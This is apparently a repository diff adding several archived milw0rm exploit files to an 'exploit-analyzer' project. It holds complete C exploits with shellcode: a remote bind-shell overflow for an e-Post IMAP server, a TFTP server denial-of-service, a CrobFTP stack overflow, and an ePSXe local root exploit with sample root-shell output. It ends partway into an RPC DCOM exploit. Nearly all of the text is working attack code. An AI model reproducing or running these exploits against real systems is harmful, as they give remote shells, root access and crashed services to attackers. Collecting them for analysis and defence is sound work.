 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ //**************************************************************************
2
+ // e-Post SPA-PRO Mail @Solomon SPA-IMAP4S 4.01 Service Buffer Overflow
3
+ // Vulnerability
4
+ //
5
+ // Bind Shell POC Exploit for Japanese Win2K SP4
6
+ // 31 May 2005
7
+ //
8
+ // This POC code binds shell on port 2001 of a vulnerable e-Post
9
+ // SPA-PRO Mail @Solomon IMAP server.
10
+ //
11
+ // This POC assumes default mailbox configuration C:\mail\inbox\%USERNAME%
12
+ // Any changes to the mailbox configuration will cause this POC to
13
+ // fail due to the length differences.
14
+ //
15
+ //
16
+ // Advisory
17
+ // http://www.security.org.sg/vuln/spa-promail4.html
18
+ // http://www.security.org.sg/vuln/spa-promail4-jp.html
19
+ //
20
+ //**************************************************************************
21
+
22
+ #include <stdio.h>
23
+ #include <conio.h>
24
+ #include <winsock2.h>
25
+ #include <windows.h>
26
+ #pragma comment (lib,"ws2_32.lib")
27
+
28
+
29
+ unsigned char expBuf[] =
30
+ "2 create \""
31
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
32
+ "\x55\x8B\xEC\x33\xC9\x66\xB9\xE8\x03\x2B\xE1\x32\xC0\x8B\xFC\xF3"
33
+ "\xAA\xB1\x30\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x70\x08"
34
+ "\xD9\xEE\xD9\x74\x24\xF4\x5F\x83\xC7\x0C\xEB\x53\x60\x8B\x6C\x24"
35
+ "\x24\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x8B\x7E\x20\x03\xFD\x8B"
36
+ "\x4E\x18\x56\x33\xDB\x8B\x37\x03\xF5\x33\xC0\x99\xAC\x85\xC0\x74"
37
+ "\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x2C\x74\x09\x83\xC7"
38
+ "\x04\x43\xE2\xE1\x5E\xEB\x16\x5E\x8B\x7E\x24\x03\xFD\x66\x8B\x04"
39
+ "\x5F\x8B\x7E\x1C\x03\xFD\x8B\x04\x87\x01\x44\x24\x24\x61\xC3\x89"
40
+ "\x75\xF4\x68\x8E\x4E\x0E\xEC\x56\xFF\xD7\x59\x33\xC0\x66\xB8\x6C"
41
+ "\x6C\x50\x68\x33\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD1\x8B"
42
+ "\xF0\x68\xD9\x09\xF5\xAD\x56\xFF\xD7\x5B\x83\xC4\x20\x6A\x01\x6A"
43
+ "\x02\xFF\xD3\x89\x45\xD0\x68\xA4\x1A\x70\xC7\x56\xFF\xD7\x5B\x33"
44
+ "\xC0\x50\xB8\xFD\xFF\xF8\x2E\x83\xF0\xFF\x50\x8B\xC4\x6A\x10\x50"
45
+ "\xFF\x75\xD0\xFF\xD3\x68\xA4\xAD\x2E\xE9\x56\xFF\xD7\x5B\xFF\x75"
46
+ "\xD0\xFF\xD3\x8B\xCC\x6A\x10\x8B\xDC\x68\x35\x54\x8A\xA1\x56\xFF"
47
+ "\xD7\x5A\x50\x50\x53\x51\xFF\x75\xD0\xFF\xD2\x8B\xD0\x68\xE7\x79"
48
+ "\xC6\x79\x56\xFF\xD7\x58\x89\x45\xF0\x8B\x75\xF4\x83\xC4\x20\xC6"
49
+ "\x04\x24\x44\xC6\x44\x24\x2D\x01\x89\x54\x24\x38\x89\x54\x24\x3C"
50
+ "\x89\x54\x24\x40\x8B\xC4\x8D\x58\x44\x68\x72\xFE\xB3\x16\x56\xFF"
51
+ "\xD7\x5A\xB9\xFF\x63\x6D\x64\xC1\xE9\x08\x51\x8B\xCC\x53\x53\x50"
52
+ "\x33\xC0\x50\x50\x50\x6A\x01\x50\x50\x51\x50\xFF\xD2\x5B\x68\xAD"
53
+ "\xD9\x05\xCE\x56\xFF\xD7\x58\x6A\xFF\xFF\x33\xFF\xD0\xFF\x74\x24"
54
+ "\x48\xFF\x55\xF0\xFF\x75\xD0\xFF\x55\xF0\x68\xEF\xCE\xE0\x60\x56"
55
+ "\xFF\xD7\x58\xFF\xD0\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
56
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
57
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
58
+ "\xe9\x4f\xfe\xff\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
59
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
60
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
61
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x54\x54\x54\x54"
62
+ "\x55\x55\x55\x55\x56\x56\x56\x56\x57\x57\x57\x57\xE9\x0C\xFE\xFF"
63
+ "\xFF\xCC\xEB\xa0\x5A\xD6\x19\xF8\x74\x41\x41\x41\x42\x42\x42\x42"
64
+ "\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46"
65
+ "\x47\x47\x47\x47\x48\x48\x48\x48\x36\x49\x49\x49\x4A\x4A\x4A\x4A"
66
+ "\x4B\x4B\x4B\x4B\x4C\x4C\x4C\x4C\x4D\x4D\x4D\x4D\x4E\x4E\x4E\x4E"
67
+ "\x4F\x4F\x4F\x4F\x50\x50\x50\x50\x51\x51\x51\x51\x52\x52\x52\x52"
68
+ "\x53\x53\x53\x53\x54\x54\x54\x54\x55\x55\x55\x55\x56\x56\x56\x56"
69
+ "\x57\x57\x57\x57\x58\x58\x58\x58\x59\x59\x59\x59\x5A\x5A\x5A\x5A"
70
+ "\"\r\n";
71
+
72
+
73
+ void shell(int sockfd)
74
+ {
75
+ char buffer[1024];
76
+ fd_set rset;
77
+ FD_ZERO(&rset);
78
+
79
+ for(;;)
80
+ {
81
+ if(kbhit() != 0)
82
+ {
83
+ fgets(buffer, sizeof(buffer) - 2, stdin);
84
+ send(sockfd, buffer, strlen(buffer), 0);
85
+ }
86
+
87
+ FD_ZERO(&rset);
88
+ FD_SET(sockfd, &rset);
89
+
90
+ timeval tv;
91
+ tv.tv_sec = 0;
92
+ tv.tv_usec = 50;
93
+
94
+ if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR)
95
+ {
96
+ printf("select error\n");
97
+ break;
98
+ }
99
+
100
+ if(FD_ISSET(sockfd, &rset))
101
+ {
102
+ int n;
103
+
104
+ ZeroMemory(buffer, sizeof(buffer));
105
+ if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0)
106
+ {
107
+ printf("EOF\n");
108
+ return;
109
+ }
110
+ else
111
+ {
112
+ fwrite(buffer, 1, n, stdout);
113
+ }
114
+ }
115
+ }
116
+ }
117
+
118
+
119
+ #define ADDR_POSITION 534
120
+ #define RET_ADDR 0x74F819D6 // CALL EBX in Japanese Win2K SP4
121
+
122
+ // First short jump backwards. (EB AO)
123
+ // You should know what to change here, landing onto INT 3 to let debugger kick in.
124
+ #define FIRST_BACKJMP_INST 0x5AA0EBCC
125
+
126
+
127
+ int main(int argc, char* argv[])
128
+ {
129
+ WORD wVersionRequested;
130
+ WSADATA wsaData;
131
+ struct sockaddr_in sin;
132
+ int err;
133
+ char inBuffer[10000];
134
+ char loginBuf[1000];
135
+
136
+ if(argc != 4)
137
+ {
138
+ printf("\nUsage: %s <imap username> <imap password> <ip addr>\n", argv[0]);
139
+ return 1;
140
+ }
141
+
142
+ if(strlen(argv[1]) <= 0 || strlen(argv[1]) > 20)
143
+ {
144
+ printf("\nInvalid IMAP username! Maximum username length is 20.\n");
145
+ return 1;
146
+ }
147
+
148
+ if(strlen(argv[2]) <= 0 || strlen(argv[2]) > 14)
149
+ {
150
+ printf("\nInvalid IMAP password! Maximum password length is 14.\n");
151
+ return 1;
152
+ }
153
+
154
+ memset(loginBuf, 0, sizeof(loginBuf));
155
+ _snprintf(loginBuf, sizeof(loginBuf), "1 login \"%s\" \"%s\"\r\n", argv[1], argv[2]);
156
+ loginBuf[sizeof(loginBuf)-1] = 0;
157
+
158
+ int retPos = ADDR_POSITION - (strlen(argv[1]) - 1);
159
+
160
+ *((DWORD *)&expBuf[retPos]) = RET_ADDR;
161
+ *((DWORD *)&expBuf[retPos-4]) = FIRST_BACKJMP_INST;
162
+
163
+
164
+ wVersionRequested = MAKEWORD(2,0);
165
+ err = WSAStartup(wVersionRequested, &wsaData);
166
+ if(err != 0)
167
+ {
168
+ printf("\nWSAStartup Error.\n");
169
+ return 1;
170
+ }
171
+
172
+ if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 0)
173
+ {
174
+ printf("\nWinsock Version Error\n");
175
+ WSACleanup();
176
+ return 1;
177
+ }
178
+
179
+ SOCKET s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
180
+
181
+ sin.sin_addr.s_addr = inet_addr(argv[3]);
182
+ sin.sin_family = AF_INET;
183
+ sin.sin_port = htons(143);
184
+
185
+ printf("\n[+] Trying to connect to %s\n", inet_ntoa(sin.sin_addr));
186
+
187
+ if(connect(s, (sockaddr *)&sin, sizeof(sin)) != SOCKET_ERROR)
188
+ {
189
+ int size;
190
+
191
+ // read IMAP banner
192
+ size = recv(s, inBuffer, sizeof(inBuffer), 0);
193
+ if(size == SOCKET_ERROR)
194
+ {
195
+ printf("[-] Error receiving IMAP banner!\n");
196
+ return 1;
197
+ }
198
+
199
+ printf("[+] IMAP banner received!\n\n");
200
+ fwrite(inBuffer, 1, size, stdout);
201
+ printf("\n");
202
+
203
+ if(send(s, (char *)loginBuf, strlen((char *)loginBuf), 0) == SOCKET_ERROR)
204
+ {
205
+ printf("[-] Error sending login!\n");
206
+ return 1;
207
+ }
208
+
209
+ printf("[+] Login Sent.\n");
210
+
211
+ size = recv(s, inBuffer, sizeof(inBuffer), 0);
212
+ if(size == SOCKET_ERROR)
213
+ {
214
+ printf("[-] Error receiving login reply!\n");
215
+ return 1;
216
+ }
217
+ if(strstr(inBuffer, "OK"))
218
+ printf("[+] Login successful!\n");
219
+ else
220
+ {
221
+ printf("[+] Login failed!\n");
222
+ return 1;
223
+ }
224
+
225
+ if(send(s, (char *)expBuf, strlen((char *)expBuf), 0) == SOCKET_ERROR)
226
+ {
227
+ printf("[-] Error sending exploit!\n");
228
+ return 1;
229
+ }
230
+ else
231
+ {
232
+ printf("[+] Exploit sent!\n");
233
+ }
234
+
235
+ Sleep(2000);
236
+
237
+ //================================= Connect to the target ==============================
238
+ SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
239
+ if(sock == INVALID_SOCKET)
240
+ {
241
+ printf("Invalid socket return in socket() call.\n");
242
+ WSACleanup();
243
+ return -1;
244
+ }
245
+
246
+ sin.sin_family = AF_INET;
247
+ sin.sin_port = htons(2001);
248
+ sin.sin_addr.s_addr = inet_addr(argv[3]);
249
+
250
+ if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
251
+ {
252
+ printf("Exploit Failed. SOCKET_ERROR return in connect call.\n");
253
+ closesocket(sock);
254
+ WSACleanup();
255
+ return -1;
256
+ }
257
+
258
+ printf("[+] Exploit successful!\n\n");
259
+ shell(sock);
260
+ closesocket(sock);
261
+ }
262
+ else
263
+ {
264
+ printf("[-] Cannot connect!\n");
265
+ }
266
+
267
+ closesocket(s);
268
+ WSACleanup();
269
+
270
+ return 0;
271
+ }
272
+
273
+ // milw0rm.com [2005-06-02]
exploit-analyzer/exploits/exploit_1027.txt ADDED
@@ -0,0 +1,115 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ *
3
+ * FutureSoft TFTP Server 2000 Remote Denial of Service Exploit
4
+ * http://www.futuresoft.com/products/lit-tftp2000.htm
5
+ * Bug Discovered by SIG^2 (http://www.security.org.sg)
6
+ * Exploit coded By ATmaCA
7
+ * Web: atmacasoft.com && spyinstructors.com
8
+ * E-Mail: atmaca@icqmail.com
9
+ * Credit to kozan
10
+ * Usage:tftp_exp <targetIp> [targetPort]
11
+ *
12
+ */
13
+
14
+ /*
15
+ *
16
+ * Vulnerable Versions:
17
+ * TFTP Server 2000 Evaluation Version 1.0.0.1
18
+ *
19
+ */
20
+
21
+ #include <windows.h>
22
+ #include <stdio.h>
23
+
24
+ #pragma comment(lib, "ws2_32.lib")
25
+
26
+ /* |RRQ|AAAAAAAAAAAAAAAA....|NULL|netasc|NULL| */
27
+ char expbuffer[] =
28
+ "\x00\x01"
29
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
30
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
31
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
32
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
33
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
34
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
35
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
36
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
37
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
38
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
39
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
40
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
41
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
42
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
43
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
44
+ "\x58\x58\x58\x58" /* EIP */
45
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x41\x41"
46
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
47
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x6E\x65\x74\x61\x73\x63\x69"
48
+ "\x69\x00";
49
+
50
+ void main(int argc, char *argv[])
51
+ {
52
+ WSADATA wsaData;
53
+ WORD wVersionRequested;
54
+ struct hostent *pTarget;
55
+ struct sockaddr_in sock;
56
+ SOCKET mysocket;
57
+ int destPORT = 69;//Default to 69
58
+
59
+ if (argc < 2){
60
+ printf("FutureSoft TFTP Server 2000 Remote Denial of Service Exploit\n");
61
+ printf("http://www.futuresoft.com/products/lit-tftp2000.htm\n");
62
+ printf("Bug Discovered by SIG^2 (http://www.security.org.sg)\n");
63
+ printf("Exploit coded By ATmaCA\n");
64
+ printf("Web: atmacasoft.com && spyinstructors.com\n");
65
+ printf("E-Mail: atmaca@icqmail.com\n");
66
+ printf("Credit to kozan\n");
67
+ printf("Usage:tftp_exp <targetIp> [targetPort]\n");
68
+ return;
69
+ }
70
+ if (argc==3)
71
+ destPORT=atoi(argv[2]);
72
+
73
+ printf("Requesting Winsock...\n");
74
+ wVersionRequested = MAKEWORD(1, 1);
75
+ if (WSAStartup(wVersionRequested, &wsaData) < 0) {
76
+ printf("No winsock suitable version found!");
77
+ return;
78
+ }
79
+ mysocket = socket(AF_INET, SOCK_DGRAM , 0);
80
+ if(mysocket==INVALID_SOCKET){
81
+ printf("Can't create UDP socket\n");
82
+ exit(1);
83
+ }
84
+ printf("Resolving Hostnames...\n");
85
+ if ((pTarget = gethostbyname(argv[2])) == NULL){
86
+ printf("Resolve of %s failed\n", argv[1]);
87
+ exit(1);
88
+ }
89
+ memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
90
+ sock.sin_family = AF_INET;
91
+ sock.sin_port = htons(destPORT);
92
+
93
+ printf("Connecting...\n");
94
+ if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) ))){
95
+ printf("Couldn't connect to host.\n");
96
+ exit(1);
97
+ }
98
+
99
+ printf("Connected!...\n");
100
+ Sleep(10);
101
+
102
+ printf("RRQ->Sending packet. Size: %d\n",sizeof(expbuffer));
103
+ if (send(mysocket,expbuffer, sizeof(expbuffer)+1, 0) == -1){
104
+ printf("Error sending packet\n");
105
+ closesocket(mysocket);
106
+ exit(1);
107
+ }
108
+ printf("Packet sent........\n");
109
+ printf("Success.\n");
110
+
111
+ closesocket(mysocket);
112
+ WSACleanup();
113
+ }
114
+
115
+ // milw0rm.com [2005-06-02]
exploit-analyzer/exploits/exploit_1028.txt ADDED
@@ -0,0 +1,157 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ * CrobFTP remote stack overflow PoC
3
+ * ---------------------------------
4
+ * Tested on Crob FTP Server 3.6.1, Windows XP
5
+ *
6
+ * Coded by Leon Juranic <ljuranic@lss.hr>
7
+ * LSS Security / http://security.lss.hr
8
+ *
9
+ */
10
+
11
+
12
+
13
+ #include <stdio.h>
14
+ #include <windows.h>
15
+ #include <time.h>
16
+
17
+ #pragma comment (lib,"ws2_32")
18
+
19
+
20
+ char *fzz_recv (int sock)
21
+ {
22
+ fd_set fds;
23
+ struct timeval tv;
24
+ static char buf[10000];
25
+ char *ptr=buf;
26
+ int n;
27
+ tv.tv_sec = 5;
28
+ tv.tv_usec = 0;
29
+
30
+ FD_ZERO(&fds);
31
+ FD_SET(sock,&fds);
32
+ if (select(NULL,&fds,NULL,NULL,&tv) != 0) {
33
+ if (FD_ISSET (sock,&fds)) n=recv (sock,ptr,sizeof(buf),0);
34
+ buf[n-1] = '\0';
35
+ printf ("RECV: %s\n",buf);
36
+ return buf;
37
+ }
38
+ else {
39
+ return NULL;
40
+ }
41
+
42
+ }
43
+
44
+
45
+
46
+
47
+ int login (int sock, char *user, char *pass)
48
+ {
49
+ char buf[1024], *bla;
50
+ bla=fzz_recv(sock);
51
+ printf ("recv: %s\n",bla);
52
+ sprintf (buf,"USER %s\r\n",user);
53
+ send (sock,buf,strlen(buf),0);
54
+ bla=fzz_recv(sock);
55
+ printf ("recv: %s\n",bla);
56
+ sprintf (buf,"PASS %s\r\n",pass);
57
+ send (sock,buf,strlen(buf),0);
58
+ bla=fzz_recv(sock);
59
+ printf ("recv: %s\n",bla);
60
+ if (strcmp("230",bla) != NULL)
61
+ return 0;
62
+ else return -1;
63
+ return 0;
64
+ }
65
+
66
+
67
+
68
+
69
+ void lame_sploit (char *pack, char *user, char *pass)
70
+ {
71
+ WORD wVersionRequested;
72
+ WSADATA wsaData;
73
+ int sock, err,x;
74
+ struct sockaddr_in sin;
75
+ char buf[2000],tmp[1000];
76
+
77
+
78
+ char *shell= // 5 min. XP SP1 shellcode
79
+ "\x33\xc0" // xor eax,eax
80
+ "\x50" // push eax (\0)
81
+ "\x68\x2e\x65\x78\x65" // push '.exe'
82
+ "\x68\x63\x61\x6c\x63" // push 'calc'
83
+ "\x54" // push esp
84
+ "\xba\x44\x80\xc2\x77" // mov edx, 77c28044
85
+ "\xff\xd2"; // call edx (system)
86
+
87
+
88
+ wVersionRequested = MAKEWORD( 2, 2 );
89
+ err = WSAStartup( wVersionRequested, &wsaData );
90
+ if ( err != 0 ) {
91
+ printf ("ERROR: Sorry, cannot create socket!!!\n");
92
+ ExitProcess(-1);
93
+ }
94
+
95
+ sock=socket(AF_INET,SOCK_STREAM,0);
96
+
97
+
98
+ sin.sin_family=AF_INET;
99
+ sin.sin_addr.s_addr = inet_addr(pack);
100
+ sin.sin_port = htons(21);
101
+
102
+ if (connect(sock,(struct sockaddr*)&sin, sizeof(struct sockaddr)) == -1) {
103
+ printf ("CONNECT :(((\n");
104
+ ExitProcess(-1);
105
+ }
106
+
107
+ if (login(sock,user,pass) == -1)
108
+ {
109
+ printf ("ERROR: Cannot login to FTP server, sorry!!!\n");
110
+ exit(-1);
111
+ }
112
+
113
+ memset(tmp,0,sizeof(tmp));
114
+ memset (tmp,0x90,180);
115
+
116
+
117
+ memcpy (&tmp[80],shell,strlen(shell));
118
+ *(long*)&tmp[158] = 0x77da52b8; // EIP -> ret into 'jmp esp'
119
+ *(long*)&tmp[166] = 0x74ec8390; // sub esp,0x74
120
+ *(long*)&tmp[170] = 0x9090e4ff; // jmp esp
121
+
122
+
123
+ _snprintf (buf,sizeof(buf),"STOR %s\r\n", tmp);
124
+
125
+ printf ("DEBUG: %.30s %d\n",buf,strlen(buf));
126
+ send (sock,buf,strlen(buf),0);
127
+ printf ("%s\n",fzz_recv(sock));
128
+
129
+ strcpy(buf,"RMD ");
130
+ for (x=0;x<276;x++)
131
+ strcat (buf,".../");
132
+ strcat(buf,"\r\n");
133
+
134
+ printf ("Sending exploit strings\n");
135
+ send (sock,buf,strlen(buf),0);
136
+ printf ("recv: %s\n",fzz_recv(sock));
137
+
138
+
139
+ }
140
+
141
+
142
+
143
+ main (int argc, char **argv)
144
+ {
145
+ printf ("CrobFTP Stack overflow PoC \n"
146
+ "Coded by Leon Juranic <ljuranic@lss.hr>\n"
147
+ "LSS Security / http://security.lss.hr/\n");
148
+
149
+ if (argc < 4 ) {
150
+ printf ("\nusage: %s <target_IP> <user> <pass>\n",argv[0]);
151
+ exit(-1);
152
+ }
153
+ lame_sploit(argv[1],argv[2],argv[3]);
154
+
155
+ }
156
+
157
+ // milw0rm.com [2005-06-03]
exploit-analyzer/exploits/exploit_1029.txt ADDED
@@ -0,0 +1,87 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /* epsxe-e.c
2
+ ePSXe v1.* local exploit
3
+ By: Qnix
4
+ e-mail: q-nix[at]hotmail[dot]com
5
+ ePSXe-website: www.epsxe.com
6
+
7
+ EXP-Sample:
8
+
9
+ root@Qnix:~/epsxe# gcc -o epsxe-e epsxe-e.c
10
+ root@Qnix:~/epsxe# ./epsxe-e
11
+
12
+ *************************************
13
+ ePSXe v1.* local exploit
14
+ by
15
+ Qnix | Q-nix[at]hotmail[dot]com
16
+ *************************************
17
+
18
+ [~] Stack pointer (ESP) : 0xbffff568
19
+ [~] Offset from ESP : 0x0
20
+ [~] Desired Return Addr : 0xbffff568
21
+
22
+ * Running ePSXe emulator version 1.6.0.
23
+ * Memory handlers init.
24
+ sh-2.05b# id
25
+ uid=0(root) gid=0(root)
26
+ groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
27
+
28
+
29
+
30
+
31
+ */
32
+
33
+
34
+ #include <stdlib.h>
35
+
36
+ char shellcode[] =
37
+ "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
38
+ "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
39
+ "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
40
+ "\x68";
41
+
42
+ unsigned long sp(void)
43
+ { __asm__("movl %esp, %eax");}
44
+
45
+ int main(int argc, char *argv[])
46
+ {
47
+ int i, offset;
48
+ long esp, ret, *addr_ptr;
49
+ char *buffer, *ptr;
50
+
51
+ offset = 0;
52
+ esp = sp();
53
+ ret = esp - offset;
54
+
55
+ printf("\n ************************************* \n");
56
+ printf(" ePSXe v1.* local exploit \n");
57
+ printf(" by \n");
58
+ printf(" Qnix | Q-nix[at]hotmail[dot]com ");
59
+ printf("\n ************************************* \n\n");
60
+ printf("[~] Stack pointer (ESP) : 0x%x\n", esp);
61
+ printf("[~] Offset from ESP : 0x%x\n", offset);
62
+ printf("[~] Desired Return Addr : 0x%x\n\n", ret);
63
+
64
+ buffer = malloc(600);
65
+
66
+ ptr = buffer;
67
+ addr_ptr = (long *) ptr;
68
+ for(i=0; i < 600; i+=4)
69
+ { *(addr_ptr++) = ret; }
70
+
71
+ for(i=0; i < 200; i++)
72
+ { buffer[i] = '\x90'; }
73
+
74
+ ptr = buffer + 200;
75
+ for(i=0; i < strlen(shellcode); i++)
76
+ { *(ptr++) = shellcode[i]; }
77
+
78
+ buffer[600-1] = 0;
79
+
80
+ execl("./epsxe", "epsxe", "-nogui", buffer, 0);
81
+
82
+ free(buffer);
83
+
84
+ return 0;
85
+ }
86
+
87
+ // milw0rm.com [2005-06-04]
exploit-analyzer/exploits/exploit_103.txt ADDED
@@ -0,0 +1,264 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ RPCDCOM2.c ver1.1
3
+ copy by FLASHSKY flashsky at xfocus.org 2003.9.14
4
+ */
5
+ #include <stdio.h>
6
+ #include <winsock2.h>
7
+ #include <windows.h>
8
+ #include <process.h>
9
+ #include <string.h>
10
+ #include <winbase.h>
11
+
12
+ unsigned char bindstr[]={
13
+ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
14
+ 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
15
+ 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
16
+ 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
17
+ 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
18
+
19
+ unsigned char request1[]={
20
+ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
21
+ ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
22
+ ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
23
+ ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
24
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
25
+ ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
26
+ ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
27
+ ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
28
